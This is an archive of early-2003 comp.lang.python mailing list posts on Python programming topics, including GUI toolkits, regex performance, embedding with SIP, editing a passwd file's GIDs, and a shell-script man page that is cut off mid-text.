have only seen guis that allow simple dialog boxes, or mabye one entry
field, which are not really simple for anything moderatly complex.

If theres nothing available then I'll attempt to modify pyui so I can
plug it ino pygame, but don't want to reinvent the wheel :)

Cheers, Paul



From mlh at furu.idi.ntnu.no  Wed Jan 22 22:01:54 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 03:01:54 +0000 (UTC)
Subject: And another thing... (was Re: Interleaved commands ...)
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>  <slrnb2um1o.bp7.mlh@furu.idi.ntnu.no>
Message-ID: <slrnb2ump2.c3m.mlh@furu.idi.ntnu.no>

In article <slrnb2um1o.bp7.mlh at furu.idi.ntnu.no>, Magnus Lie Hetland wrote:
[snip]
>It seems that one way of doing this sort of thing would be to
>use callbacks for the options,

Section 6.20 of the docs says that one only has to specify the
callback argument, as in:

  parser.add_option("-c", callback=my_callback)

This doesn't seem to work (might be nice if add_option understood that
I wanted action='callback' when I supplied a callback ;). In 6.20.4.4,
the version with action='callback' is presented. I suppose this is a
documentation bug in 6.20?

-- 
Magnus Lie Hetland
http://hetland.org



From andrew at indranet.co.nz  Wed Jan 29 06:47:07 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Thu, 30 Jan 2003 00:47:07 +1300
Subject: New Python block cipher API, comments wanted
In-Reply-To: <7xu1fsbj6b.fsf@ruckus.brouhaha.com>
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>
 <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com>
 <mailman.1043791529.1041.python-list@python.org>
 <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com>
 <7x1y2wzpr0.fsf@ruckus.brouhaha.com>
 <mailman.1043816392.20156.python-list@python.org>
 <7xu1fsbj6b.fsf@ruckus.brouhaha.com>
Message-ID: <16010000.1043840827@localhost.localdomain>



--On Tuesday, January 28, 2003 21:48:28 -0800 Paul Rubin 
<phr-n2003b at NOSPAMnightsong.com> wrote:

> In fact, I don't think any module implementing PEP 272 has ever been
> written, and the interface it describes isn't that great, so I
> wouldn't call the PEP process a big success where block ciphers are
> concerned.  There was a bunch of subsequent discussion on
> Python-crypto that led up to the current proposal, and that seems to
> have done a better job.

Um, there is such a module, it's called PyCrypto and is at at least 
revision 1.9.  I've used it to write a significant application, which 
interoperates with others using different libraries.  Nice C or even ix86 
assembler ciphers, very, very fast.  It has an API feature I'd call 
essential that are not part of PEP 272 but is included in your proposal, 
that is the ability to change IV after creating a cipher, between uses of 
it.

It implements much more than PEP 272, including quite nice public key 
crypto (in pure python).

I think that that module is mature enough to roll into the distribution as 
it is, or very close to it.  The documentation may need expanded a bit.

There's nothing wrong with either your API or PEP 272 so far as I can see. 
But there is mature code doing it the PEP 272 way.

> So, the only way to make apps which depend on a C module widely
> deployable is to get the module accepted into the Python library, and
> then wait a long time until most users have a new enough version of
> Python to have gotten the module along with it.  I realize this is a
> screwy situation, but it's what we have.  I hope it will be eased by
> the introduction of native-code Python compilers that will make fast
> enough code from pure Python libraries that we won't need as many C
> modules.  But that's a long way in the future.

I largely agree with this; the app in question needs FIVE C modules, and is 
thus a pain to install (psyco is pretty good for performance, but does 
nothing for APIs not accessible in python).

Andrew
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030130/1507946f/attachment.sig>

From clifford.wells at attbi.com  Thu Jan  9 20:57:34 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 09 Jan 2003 17:57:34 -0800
Subject: GUI toolkits
In-Reply-To: <avkedn$h8n$1@bob.news.rcn.net>
References: <avfsc2$8ar$1@bob.news.rcn.net>
	 <avjmg0$s03$03$1@news.t-online.com>  <avkedn$h8n$1@bob.news.rcn.net>
Message-ID: <1042163854.6001.259.camel@x1-6-00-04-5a-64-c4-03>

On Thu, 2003-01-09 at 12:03, morden wrote:
> Ok. I have a luxury to not care about win32 at this point.
> And Tkinter seem to work on it also anyhow. Any selling points
> for wxPython compared to Tkinter that you'd care to mention?

Using wxPython will make you more popular.

-- 
Cliff Wells <clifford.wells at attbi.com>





From uche at ogbuji.net  Sat Jan 11 13:32:27 2003
From: uche at ogbuji.net (Uche Ogbuji)
Date: 11 Jan 2003 10:32:27 -0800
Subject: Zope, XML/XSL HTML, Mysql
References: <9tzS9.10989$oS1.48139@news-server.bigpond.net.au>
Message-ID: <d116fbae.0301111032.2ba0d0df@posting.google.com>

"Pete" <Pete at nospam.com> wrote in message news:<9tzS9.10989$oS1.48139 at news-server.bigpond.net.au>...
> Hello,
> 
> I developing a web database application which is using
> Python, Zope and MySQL.
> 
> I'm using mysql-python and ZMysqlda
> http://sourceforge.net/projects/mysql-python
> 
> After some experimenting i've managed to extract data from the a mysql
> database and output XML or HTML for queries.
> 
> One of the requirments I need to meet is to output XML with XSL for browser
> that support it and HTML for old browsers.
> I would like to code the python modules to all output XML and have it
> converted to HTML by a some other component which it detects an older
> browser.

See

http://zope.org/Members/arielpartners/XMLTransform

--Uche
http://uche.ogbuji.net



From mmikic at jwmp.com  Mon Jan  6 10:21:45 2003
From: mmikic at jwmp.com (Milan Mikic)
Date: 6 Jan 2003 07:21:45 -0800
Subject: How to suppress SaveAs dialog box from IE?
Message-ID: <6eabbea7.0301060721.2643580b@posting.google.com>

Dear All,

I'm trying to script IE using win32com to save a web page. My problem
is that IE allways pops up a dialog box. Does anyone know how to
suppress it?

My code is as follows:

import win32com.client,time,string
ie = win32com.client.DispatchEx("InternetExplorer.Application")
ie.Navigate("https://cds.jpmorgan.com/creditderivatives/cgi-bin/MPshowCurves?market=ASA")
doc = ie.Document
doc.ExecCommand("SaveAs",0,"c:\\temp\\fihur.htm")

Where am I going wrong?

Many Thanks,
Milan



From axs at arbornet.org  Thu Jan  2 15:59:06 2003
From: axs at arbornet.org (axs)
Date: 2 Jan 2003 12:59:06 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <6478eb43.0301021259.5e953472@posting.google.com>

"Johan" <johan at contillion.com> wrote in message news:<pan.2003.01.02.12.09.57.823588 at contillion.com>...
> Hi,
> 
> Anyone know some good Python editors under Linux?
> With good color highlightning... :)
> 
> I prefer free editors (have seen WingIDE but it isnt free :(...).
> 
> I hope someone know where i can find some editors :)
> 
> Looking forward to your replies... :)
> 
> Regards,
> Johan

SlickEdit



From quioxl at yahoo.com  Thu Jan  9 19:11:44 2003
From: quioxl at yahoo.com (Jonathan Craft)
Date: 9 Jan 2003 16:11:44 -0800
Subject: regexp speed concerns
Message-ID: <e15e4bd1.0301091611.411bafc2@posting.google.com>

Greetings,

First off, I'm not looking to start a general perl vs. python
discussion here, I'm just someone who has used perl in the past in my
normal work and decided to try python out for fun.  Needless to say,
I'm new to python and don't really have any in-depth experience with
either language.  I have a slight feeling that my questions below may
be misguided or irrelevant.

I had an original perl script that, in addition to several other
functions, would parse simulation logfiles for specific errors that
indicate failures.

Just for fun, I converted the script from perl to python as a learning
experience.  One of the first things I noticed was about a 3x increase
in the average time for a parse to take place between my original perl
script and my first attempt at a python replacement.  I managed to get
that down to about a 2x multiplier when I replaced "re" calls with the
"regex" equivalent (got that idea from a post somewhere, can't
remember).  I parse files that are anywhere from a few hundred to a
few million lines of text, and up to 300 differet files.  As I'm
parsing them one line at a time via a for/in loop, I doubt file size
really matters.  If you think I should look at improving the way I
handle file I/O instead of regular expressions, let me know.

I have a few questions:  
1).  Should such a slowdown be expected?  The expression that I'm
searching for is pretty simple (whitespace or start of line, followed
by 1 of 3 possible strings), but I was suprised to see my python code
slow down so visibly.  I've been unable to find a clear answer
anywhere on which lang had faster regexp capabilities, which leads me
to believe that the result varies on the situation.
2).  Given my assumption that either language can be faster than the
other given the application, are there any 'rules of thumb' that I can
follow to make sure I'm making the python expressions behave as
quickly as possible?
3).  Should I be using "match" instead of "search"?  I know that the
algorithms used under the hood differ for each, but I'm not sure which
one is the best to use under these conditions.

The code below is paraphrased...the actual code much bulkier, but the
key lines are captured below.  The "First Python Attempt" may not be
syntatically correct, as it was replaced by later attempts and I don't
have it handy anymore.

Original Perl:
--------------
for $line in (<fh>) {
  if (!$errFound) {
    if ($line =~ m|[\s^](ERR|err|FAIL)|) {
      $errFound = 1;
    }
  }
}

First Python Attempt:
---------------------
import re
errSO = re.compile('[\s^](ERR|err|FAIL)')
for line in fh:
  if not finishFound:
    match = errSO.search(line)
    if match != None: finishFound = 1

Latest Python Attempt:
----------------------
import regex
errSO = regex.compile('\( \|^\)\(ERR\|err\|FAIL\)')
for line in fh:
  if not finishFound:
    if doneSO.search(line) >= 0: finishFound = 1
  if not errFound:
    if errSO.search(line) >= 0: errFound = 1


Many thanks,
Jon



From simonb at webone.com.au  Sat Jan  4 07:51:36 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 04 Jan 2003 23:51:36 +1100
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com> <msudnajgx8ojFoujXTWcqw@comcast.com> <c490a7ae.0301040331.33ff489f@posting.google.com>
Message-ID: <pan.2003.01.04.12.51.35.502043@webone.com.au>

On Sat, 04 Jan 2003 03:31:06 +0000, george hart wrote:

>> o is now bound to 0
>> 
>> > o=100   # where i want this assignment to change a[0] to 100
>> 
>> No way.  You are simply rebinding 'o' to a new value.  Just write
>> 'a[0] = 100'!
> 
> Hi,
> 
> I'm sorry, I think my example was not very good.  I can't just write
> 'a[0]' because the *real* data structure I am working with is very
> complex and nested.  It would be more like a[1][10][20][40] etc..
> 
> I am a relatively new to python so I am probably trying solve the
> problem the way I would in C (it would be nice to have pointers right
> now :-).   The returned value from the .next() method appears to be
> pointing to the same memory address as the respective element in the
> data structure.  It seems logical that there should be an easy way to
> modify it.
> 
> Plus, there must be a way to do this?  What is the point of being able
> use a generator to iterate over a structure if you can't modify any of
> the values?
> 
> 

but consider; when one is modifying the elements of a sequence
one must count through indexes, not the items (using an iterator):

for i in alist:
  i=1 # so what

for i in range(len(alist)):
  alist[i]=1 # ok now we are doing something





From oblivious at web.de  Sat Jan  4 06:40:37 2003
From: oblivious at web.de (Dominic)
Date: Sat, 04 Jan 2003 12:40:37 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <pan.2003.01.03.13.48.50.113237@webone.com.au> <3E159693.28FEE9BC@alcyone.com> <pan.2003.01.04.01.01.52.354089@webone.com.au>
Message-ID: <3E16C835.4060402@web.de>

> One thing i noticed when teaching newbies with emacs: it's possible to do
> much damage with 2 or 3 keystrokes. But of course, we are not comparing

> emacs to vim; it took me about 10 years to recover from my initial
> shock-horror reaction to vi, but now i use it (well, vim) all the time :) .
Same with me. But it took me not ten years but only a few.
Currently I make gvim behave somewhat more like an average editor 
(Ctrl-S saves without leaving editing mode)
Syntax highlighting looks like in IDLE (though I messed up some files
in /usr/local/share/vim... etc to get rid of the bold font faces,since
colorschemes did not seem to override them..:( )
but I have not figured out yet how to integrate python similar to the 
C-compiler and make support.
I think it is even possible to limit vim to editing mode so that it
can be used like an average point-and-click editor.

Ciao,
  Dominic


> 
> bye,
> Simon Burton
> 





From sandysj at juno.com  Fri Jan 10 15:17:06 2003
From: sandysj at juno.com (Jeff Sandys)
Date: Fri, 10 Jan 2003 20:17:06 GMT
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de>
Message-ID: <3E1F2A42.3A81BBCF@juno.com>

I think it is more interesting how long it takes to write 
the code.  In this example the test script took 2-4 hour 
to write in Python and 7-18 hours in Java:
http://www.ipd.uka.de/~prechelt/Biblio/jccpprt_computer2000.pdf

Not all programs are purely computational like the shootout 
benchmarks, for some things that computers do Python is faster 
than Java:
http://www.twistedmatrix.com/users/glyph/rant/python-vs-java.html

Thanks,
Jeff Sandys

Axel Kowald wrote:
> I just had a look at these very detailed benchmark tests,
> http://www.bagley.org/~doug/shootout/, and I was surprised 
> to see that often java is 20 times faster than python !!



From cppdan at dansmart.com  Wed Jan  8 00:01:50 2003
From: cppdan at dansmart.com (Dan Smart)
Date: Wed, 08 Jan 2003 05:01:50 GMT
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu> <v1k1tts6o9ta1e@news.supernews.com> <EN6w0WAFRpG+EwB8@jessikat.fsnet.co.uk> <v1lks0heodna06@news.supernews.com>
Message-ID: <Xns92FD6DECB81Me@167.206.3.2>

"John Roth" <johnroth at ameritech.net> wrote in 
news:v1lks0heodna06 at news.supernews.com:

> "Robin Becker" <robin at jessikat.fsnet.co.uk> wrote in message
> news:EN6w0WAFRpG+EwB8 at jessikat.fsnet.co.uk...
>> In article <v1k1tts6o9ta1e at news.supernews.com>, John Roth
>> <johnroth at ameritech.net> writes
>> ......
>> >
>> >I don't think I've ever seen **conceptual** fixed point binary.
>> >**Implementation**
>> >fixed point binary, yes, but then it was conceptually decimal.
>> >
>> >John Roth

How about (some[1]) US fixed income trading where fixed point binary is the 
law?

Dan "Doesn't write fixed income trading systems - well not often, and I 
could give it up" Smart

[1] Actually still almost all[2]
[2] Until very recently pretty much all US equity and fixed income trading 
was done in fixed point binary (1/32nds in the main, 1/64ths and 1/256ths 
sometimes). The equity markets are now (almost) entirely decimal[3], and 
the fixed income markets will likely have finished converting by the end of 
the decade.
[3] With a devastating effect on spreads - previously a broker made most of 
their profit on the spread[4] with a minimum of $1/32 per share - now the 
minimum is $.01 per share.
[4] If you don't understand spreads, then remember the maxim: "In every 
deal there is a mug, if you don't know who the mug is, it's you."
-- 
Dan Smart. C++ Programming and Mentoring.
cppdan at dansmart.com
ADDvantaged



From phil at river-bank.demon.co.uk  Sat Jan  4 12:14:02 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Sat, 4 Jan 2003 17:14:02 +0000
Subject: Embeding Python... (Please help !)
In-Reply-To: <av4htb$jt4$1@duck.Fluent.COM>
References: <av4htb$jt4$1@duck.Fluent.COM>
Message-ID: <200301041714.02069.phil@river-bank.demon.co.uk>

On Friday 03 January 2003 5:40 pm, Sebastien Auclair wrote:
> Our problem is so trivial, it's crazy that we can't find anything on the
> net that would help us.
>
> We are trying to use the function PyArg_Parse and others in order to simply
> get a correctly casted pointer to a Python Class instance.
>
> That python class is in fact a subclass of a C++ class defining an
> interface. Our python file knows this interface class through SIP bindings.
>
> There are some examples of how we can get simple C type values (strings,
> int, float...) from Python types but nothing on pointers to class... We
> tried to use the O& option but it doesn't work.
>
> EXAMPLE :
>
> <<<<<<< PYTHON FILE >>>>>>>>>>>>>
> import Interfaces # From sipping
>
> def CreateInstance ():
>     return Server ()
>
> class Server (Interfaces.interface):
>         def __init__(self):
>                 Interfaces.interface.__init__(self)
>
>
> <<<<<<<<< INTERFACE .h DEFINITION FILE>>>>>>>>>>>
> class interface{
>
>     interface();
>     ~interface();
>     someFunction();
> };
> <<<<<<<< MAIN APPLICATION >>>>>>>
>
> #include "Interfaces.h"
> ...
> ........python stuff to load and compile the python file...this works
> fine... we tested it !
> ...
>
> PyObject * m_pylib = PyImport_ExecCodeModule( const_cast<char*>("server"),
> code );
> Py_INCREF( m_pylib );
>
> PyObject * mdict = PyModule_GetDict(m_pylib);
> PyObject  * func1 = PyDict_GetItemString(mdict, "CreateInstance");
> PyObject * v1 = PyObject_CallObject(func1,NULL);
>
> interface * interf = (interface*) v1;  // OF COURSE THIS DOESN'T WORK BUT
> YOU GET THE IDEA....

Python doesn't know anything about how SIP wraps C++ pointers - you need to use the SIP library/module...

int iserr = 0;
interface *interf = (interface *)sipConvertToCpp(v1,sipClass_interface,&iserr);

Phil




From johnroth at ameritech.net  Sat Jan 11 15:53:42 2003
From: johnroth at ameritech.net (John Roth)
Date: Sat, 11 Jan 2003 15:53:42 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net>
Message-ID: <v2111cf3gg193a@news.supernews.com>

"Edward K. Ream" <edream at tds.net> wrote in message
news:SrZT9.121191$Hs2.11493220 at kent.svc.tds.net...
> > I'm inclined to withhold judgment on such claims, admitting the
> > possibility that I don't know everything.
>
> A better rule of thumb, IMO, is that extraordinary claims require
> extraordinary justification.

Whether or not a claim is extraordinary is totally in the mind (if
any) of the person who dislikes the claim.

John Roth
>
> Edward
> --------------------------------------------------------------------
> Edward K. Ream   email:  edream at tds.net
> Leo: Literate Editor with Outlines
> Leo: http://personalpages.tds.net/~edream/front.html
> --------------------------------------------------------------------
>
>





From cgjunkaddr at attbi.com.nospam  Sun Jan 26 11:19:34 2003
From: cgjunkaddr at attbi.com.nospam (Chetan Gadgil)
Date: Sun, 26 Jan 2003 16:19:34 GMT
Subject: Python newbie looking into communications...
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com>
Message-ID: <qUTY9.45481$Ve4.4223@sccrnsc03>

You can also look into my "kobra" library - .NET for python.

http://www.gadgil.net/DotNetWrapperForPython.htm


In effect, you app could use thid module to talk to the VB.NET app and
interface with other platforms using Frederick Lunch's excellent xmlrpclib
(standard in Python).

The module is now quite usable, I am posting examples on:
1) How to interface with .NET webservices
2) Use windows forms (.NET)
3) XML processing using .NET libraries
4) Use COM without Mark Hammond's superb "win32com", using only "kobra"

Alternatively, if you want to use production quality code, I would advise
you to go for Mark Hammond's win32all.
Then create a COM/.NET dual interface on you VB.NET app and use from
win32com

Regards
Chetan
(My public address IS "cgjunkaddr at attbi dot com")


"Sam Marrocco" <samSPAMMENOT at twmi.rr.com> wrote in message
news:ELHY9.123260$GF.30808722 at twister.columbus.rr.com...
> I'm looking into writing a small application that can run on multiple
> platforms (linux, windows, irix) that needs simple communications with a
> Visual Basic.Net application. I'm writing both apps, and the main app
> *must* be vb.net.
>
> I'd like the little Python apps that run on several machines to be able
> to communicate back and forth with the main vb.net app using (possibly)
> udp communications. I don't want the extra headaches involved in
> maintaining open connections (TCP)...something along the lines of:
>
> SendData(MachineName,Data)
>
> Since I'm a newbie to Python, any tips/directions I should look into?
> I'm still exploring language possibilities, and Python's interests me
> the most so far....portability is important.
>
> Any help greatly appreciated!
> --
> ==================================================================
> Sam J. Marrocco
> Sr. Visual Effects Artist/R&D
> Travelling Pictures/GTN
> Inferno, Flame, Houdini, Maya, All that cool stuff!
> "The fact that no one understands you doesn't make you an artist."
> ==================================================================
>





From aleax at aleax.it  Tue Jan 28 05:11:33 2003
From: aleax at aleax.it (Alex Martelli)
Date: Tue, 28 Jan 2003 10:11:33 GMT
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com>
Message-ID: <pHsZ9.94111$0v.2743842@news1.tin.it>

Norm wrote:

> I would like to open this unix passwd file and chang the GID of those who
> have a GID of 200 to 199
> 
> This does everything except change fields[3] to 199
> 
> Thoughts?

>     file = open ("passwd.txt" , "r+")

Don't use built-in names of types, such as "file", "list",
"tuple", etc, to name your own variables: get into the habit
of naming them in significant ways, or, worst case, at least
use "aFile", "someList", etc.  One day you'll get strange
bugs if you abuse built-in type names in this tempting way.

> records = file.readlines()
> 
> for record in records:
>     fields = record.split(':')
>     if fields[3] == "200":
>         print fields[0], " has a GID of 200"
>         print "now changing it to 199"
>         fields[3] = 199

Better to use "199" of course -- a string, NOT a number.  And
then of course you need to rebuild the record -- variable
"fields" is just holding copies of the record's data.  It's
hard to do this when you iterate directly on the list: rebinding
variable 'record' would not affect list 'records', which is the
one you NEED to affect.  So, you may want to loop on index,
instead, changing this loop into:

for i in range(len(records)):
    fields = records[i].split(':')
    if fields[3] == "200":
        print fields[0], " has a GID of 200"
        print "now changing it to 199"
        fields[3] = "199"
        records[i] = ':'.join(fields)

and then of course you need to actually write the contents
of variable records back into the file...:

aFile.seek(0)
aFile.writelines(records)
aFile.close()

(using a variable name different from 'file', as I suggested).


Alex




From stephen at theboulets.net  Wed Jan 22 08:55:14 2003
From: stephen at theboulets.net (Stephen Boulet)
Date: Wed, 22 Jan 2003 07:55:14 -0600
Subject: tkinter buttons and columnspan
References: <3E2E1A02.90805@motorola.com> <b0lm47$j3s$1@news-reader12.wanadoo.fr>
Message-ID: <Tx6cnSH-ZqoXPrOjXTWc-g@speakeasy.net>

Yep, that's exactly what I'm saying; it doesn't work:

from Tkinter import *

root = Tk()

Button(root,text = 'foo').grid(column=0, row=0)
Button(root,text = 'foo').grid(column=1, row=0)
Button(root,text = 'foo').grid(column=0, row=2, columnspan=2)

root.mainloop()

-- Stephen

Eric Brunel wrote:

> Stephen Boulet wrote:
>> Is there a way, when using grid to place widgets in tkinter, to make a
>> button fully occupy multiple columns?
>> 
>> -- Stephen
> 
> What's your point? Doesn't:
> 
> b = Button(...)
> b.grid(row=..., column=..., columnspan=...)
> 
> work?




From sibunks at hotmail.com  Fri Jan 31 08:43:22 2003
From: sibunks at hotmail.com (Simon Bunker)
Date: 31 Jan 2003 05:43:22 -0800
Subject: getting an index in a for loop
Message-ID: <a865f0e4.0301310543.7aa8d1a4@posting.google.com>

I am iterating over a string and getting back each letter no problem.
eg.

>>> mystring = "abcdefg"
>>> for char in mystring:
...     print char
... 
a
b
c
d
e
f
g

which is fine, but is there any way of finding out the index into the
string we
are referencing? Or do I have to set up a temporary counter and
increment it in the loop each time?

I just have a feeling that Python should be cleverer than that - is
it?

Simon
http://www.rendermania.com/



From pedronis at bluewin.ch  Thu Jan  2 11:36:34 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Thu, 2 Jan 2003 17:36:34 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk>
Message-ID: <3e146ab0_3@news.bluewin.ch>

"Anders J. Munch" <andersjm at dancontrol.dk> ha scritto nel messaggio
news:3e145c1e$0$71692$edfadb0f at dread11.news.tele.dk...
> "David Mertz" <mertz at gnosis.cx> wrote:
> > I've got to thinking about multimethods/multiple dispatch lately.  I
> > wonder if Pythonistas have some futher opinions on the use of these.
>
> Theoretically multimethods are a great idea.  Being an elegant
> generalization of object-orientation, having multimethods available
> may save you from a clumsy workaround every once in a blue moon.
>
> The problem is that designs that take full advantage of multimethods
> are all too often bad.

The problem is that designs that take full advantage of X are all too often
bad.

[I don't find the counter-analysis of the dull example particularly
convincing, super and inheritance are easely abused also with single
dispatch]





From tismer at tismer.com  Mon Jan 13 19:10:40 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 01:10:40 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 MinimalPython project)
In-Reply-To: <avv00s$elh$1@mailgate2.lexis-nexis.com>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <3E222FC1.40908@tismer.com> <mailman.1042458465.10767.python-list@python.org> <avv00s$elh$1@mailgate2.lexis-nexis.com>
Message-ID: <3E235580.4070904@tismer.com>

rzed wrote:
> holger krekel wrote:
> 
>>[Christian Tismer Mon, Jan 13, 2003 at 04:17:21AM +0100]
>>
>>>Bengt Richter wrote:
>>>
>>>>At 03:39 2003-01-13 +0100, Christian Tismer wrote:
>>>>[...]
>>>>
>>>>
>>>>>At the same time, as much as possible should become
>>>>>pluggable. It will be possible to have MiniPy
>>>>
>>>>[...]
>>>>
>>>>Is "MiniPy" the official name ?
>>>
>>>No.
>>>There is no official name, yet.
>>
>>I suggest we use 'pypy' and/or 'Minimal Python' for
>>the time before the sprint.
>>
>>On one of the sprint evenings we should discuss and
>>decide (vote) on the eventual name. [1]
>>
>>Without code you can't vote :-)
>>
>>cheers,
>>
>>    holger
>>
>>
>>[1] FWIW, Currently I think that i will propose   P
>>    (courtesy of Tim Churches).
> 
> 
> Oh no!! Then we'd be writing P-code!

Ha haaaaa, yes, this is really an argument.
No, I won't write P-code again any time of my life.

> And, at least in America, "coding in P" sounds like urine over your
> head. (Not you, holger, but I mean ... )

Pay attention, he's peeing code.

Thanks, I'm convinced. It is *not* P.

ciao - chris





From jlh at cox.net  Wed Jan 15 19:10:37 2003
From: jlh at cox.net (Jeff Hinrichs)
Date: Thu, 16 Jan 2003 00:10:37 GMT
Subject: Ignoring incorrect XML encoding declarations
References: <b04roj$lif9o$1@ID-174764.news.dfncis.de>
Message-ID: <1MmV9.2980$qU2.1566@news1.central.cox.net>

.replace('UTF-16','UTF-8')
then let SAX at it..

"Peter Scott" <sketerpot at chase3000.com> wrote in message
news:b04roj$lif9o$1 at ID-174764.news.dfncis.de...
> I have an XML file which I'm trying to parse with xml.sax, but, for
> reasons beyond my control, it uses the UTF-8 character encoding but has
> this incorrect line at the beginning:
> <?xml version="1.0" encoding="UTF-16"?>
> The parser wisely spots this error and throws a SAXParseException, and I
> can't parse the file. I've tried just catching the exception and
> printing an error, then keeping on parsing, but it didn't work. Is there
> any way I can get the SAX parser to ignore the 'encoding="UTF-16"' and
> parse the file with the real encoding?
>
> Thanks,
> Peter
>





From tecargile at hotmail.com  Thu Jan  9 03:01:07 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 00:01:07 -0800
Subject: Shell Script (!) For Cyclically Editing/Running Python Modules
Message-ID: <8b67aef5.0301090001.49964843@posting.google.com>

I called it 'pyer' (PYthon Edit Run), but I'm sure you folks
can find some other four-letter name for it.  The name is not
hard-coded anywhere in the script   :-)

If nothing else it would save a lot of typing when working
at the command line ... or at least provide an example of structured
shell. I would have written it in Python, but couldn't cost-justify
that at my Python skill level.

The first line might have to be edited to specify the
valid path for whichever is your favorite shell.  Tested with Cygwin
bash (which I've linked to ksh), but should run under ksh and
might even run under sh! If emailing me, the keyword 'techalert'
must be in the subject somewhere or it will be filtered as spam.

For performance degradation a builtin 'man' page is the first function
so you can read it immediately.

#---------------------------- Cut Here ------------------------------
#!/usr/bin/ksh

#------------------------------------------------------------
cat_man_page() {
#------------------------------------------------------------

cat <<-EOF | $PAGER
  ------------------------------------------------------------------
  $PN(1)                                                   $PN(1)


  NAME
        $PN - Interactive command line Python language interface

  SYNOPSIS

        $PN [python_interpreter_options]
              [python_file_name] [python file arguments]

        $PN -h

        $PN -help

  DESCRIPTION

        $PN provides an interactive interface to editing and
        running Python language modules.  It is based upon
        an 'edit/run' cycle model that is commonly used during
        focused unit module development.  The desired editor can
        be configured with the PYTHONEDITOR environment variable.

        Following the 'edit' phase, the edited module is run with
        the 'python' interpreter with arguments being supplied
        to both the interpreter and to the module being run.
        The 'run' 'stdout' is directed to 'filename.py.out'.
        and the 'run' 'stderr' is directed to 'filename.py.err'.

        The desired Python interpreter can be configured
        with the PYTHONEDITOR environment variable.  Options
        passed to the Python interpreter can be permanently set
        by using the PYTHONOPTIONS environment variable or passed
        on the command line to $PN.  Options passed on the command
        line override those set by PYTHONOPTIONS.

        Following the run, the output files are 'paged' with the
        if they have content.  The specific pager is identifed
        by the PAGER environment variable or the default 'more'
        if PAGER is null.

        Following each run, the opportunity is given with a 'Continue'
        prompt to either:

           1) Perform another 'edit/run' cycle
           2) Change the current Python source file and file arguments
              to be passed
           3) Run a single shell command
           4) Escape to a subshell

        The current directory is the default for finding current
        working Python files.  If the file cannot be found in the CWD,
        then $PN will search for the file using the PYTHONPATH
        environment variable if it is not null.

        If it is desired to create a temporary working file,
        the file name will be assigned automatically or by
        the PYTHONTEMPFILE environment variable.

        Upon exit, $PN removes empty *.out and *.err files.

  OPTIONS
        $PN accepts the '-h' and '-help' options to display
        a 'usage' and 'man' page respectively.  These options
        must not be unaccompanied by other options or arguments.

        All other options are assumed to be for the Python interpreter
        or are arguments for the Python modules to be edited
        and run.

        See SNYOPSIS and ENVIRONMENT VARIABLES sections.

  EXAMPLES

        $PN test1.py

             Will edit/run the 'test1.py' module and make it the
             'current' file.


        $PN -v test2

             Will edit/run the 'test2.py' module and make it the
             'current' file.  The '-v' argument will be passed
             to the Python interpreter.  A '.py' extension/suffix
             is not required.


        $PN test3.py one_word_argument "multi-word argument1"

             Will edit/run the 'test3.py' module and make it the
             'current' file. Note that 'multi-word arguments must
             be enclosed in quotes.


        $PN -help | -h

             Will display a manual page or short 'usage' output,
             respectively.

  NOTES
        It assumes that modules to be edited/run will have the '.py'
        suffix. File names entered without the '.py' will automatically
        have '.py' appended.

        All prompts to enter a file name accept arguments to be passed
        to the file at run time.  Multi-word arguments should be
        delimited by quotes to ensure correct argument assignment by
        the Python module.

        $PN, is written in Korn/Bash shell compatible and would probably
        run under the Bourne shell.  It was tested under the 'Cygwin'
        'bash' shell.


        It would be a challenge (to someone) to convert it to Python.


  ENVIRONMENT VARIABLES

        PAGER - Used to determine the page to be used for
                for viewing Python run output files.
                The default is 'more'.

        PYTHONEDITOR - Used to determine the editor to be used for
                       for editing Python files. The default is 'vi'.

        PYTHONEXEC -   Used to determine the Python Interpreter
                       to use for the 'run' phase.  The default
                       interpreter is 'python'.

        PYTHONOPTIONS - Used to set options passed to the Python
                        interpreter.

